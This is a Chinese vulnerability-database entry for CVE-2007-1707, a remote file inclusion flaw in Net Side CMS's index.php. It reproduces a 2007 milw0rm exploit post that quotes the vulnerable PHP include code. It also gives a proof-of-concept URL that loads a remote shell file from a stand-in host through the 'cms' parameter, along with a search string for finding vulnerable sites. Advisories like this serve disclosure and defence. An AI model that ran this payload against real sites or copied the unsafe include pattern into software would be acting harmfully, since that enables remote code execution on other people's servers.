Net Side CMS Index.PHP 远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112541 漏洞类型 输入验证
发布时间 2007-03-24 更新时间 2007-03-28
CVE编号 CVE-2007-1707 CNNVD-ID CNNVD-200703-613
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/3562
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-613
|漏洞详情
NetSideContentManagementSystem(Net-Side.netCMS)的index.php中存在PHP远程文件包含漏洞。远程攻击者可以借助cms参数中的一个URL,执行任意的PHP代码。
|漏洞EXP
I see your future and your future is death. Sharingan !
--------------------------------------------------------------------------------------------------------------
Hi I'm sharingan and this is my vuln :
script name :
Net Side Content Management System
(2 versions found both vulnerable | Version names not available since the script isn't downloadable)

vuln file :
index.php |and maybe others ... haven't checked|
vuln code version 1:
[...]
    if ($_GET["cms"] == "" or $_GET["cms"] == "titel")
   {
    include "titel.inc.php";
   }
   else
   {
    include $_GET["cms"].".inc.php";
[...]
vuln code version 2:
[...]
$includepath = "";
[...]
if ($_GET["cms"] == "")
   {
     include $includepath."titel.inc.php";
   }
   else
   {
    include $includepath.$_GET["cms"].".inc.php";
[...]

proof of concept :
http://site.com/index.php?cms=http://whatever.com/textshell.txt?
"powered by Net-Side.net"
--------------------------------------------------------------------------------------------------------------
greetz mozi and all php freaks.
oh yeah and a friendly Hi! to RST.

# milw0rm.com [2007-03-24]
|参考资料

来源:MILW0RM
名称:3562
链接:http://www.milw0rm.com/exploits/3562
来源:OSVDB
名称:37194
链接:http://osvdb.org/37194
来源:BID
名称:23130
链接:http://www.securityfocus.com/bid/23130